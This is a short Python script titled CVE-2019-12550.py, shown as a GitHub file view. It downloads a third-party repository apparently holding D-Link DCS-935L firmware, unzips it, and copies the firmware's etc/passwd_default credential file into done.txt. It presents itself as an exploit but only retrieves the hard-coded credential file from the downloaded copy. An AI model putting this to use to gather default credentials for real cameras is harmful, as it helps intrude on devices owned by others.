/
CVE-2019-12550.py
35 lines (27 loc) · 1.12 KB
/
CVE-2019-12550.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os
import requests
from zipfile import ZipFile
# Define the URL of the GitHub repository
github_url = 'https://github.com/itwizardo/DCS-935L.1.06.02/archive/main.zip'
# Define the name of the zip file to download
zip_file_name = 'DCS-935L.1.06.02.zip'
# Define the name of the folder where files will be extracted
extracted_folder_name = 'DCS-935L.1.06.02-main'
# Download the repository as a zip file
response = requests.get(github_url)
with open(zip_file_name, 'wb') as zip_file:
zip_file.write(response.content)
# Extract the downloaded zip file
with ZipFile(zip_file_name, 'r') as zip_ref:
zip_ref.extractall()
# Path to the extracted folder
extracted_folder_path = os.path.join(os.getcwd(), extracted_folder_name)
# Path to the /etc/passwd_default file
passwd_default_path = os.path.join(extracted_folder_path, 'etc/passwd_default')
# Read the content of the passwd_default file
with open(passwd_default_path, 'r') as passwd_file:
passwd_content = passwd_file.read()
# Write the content to done.txt
with open('done.txt', 'w') as output_file:
output_file.write(passwd_content)
print("Output written to done.txt")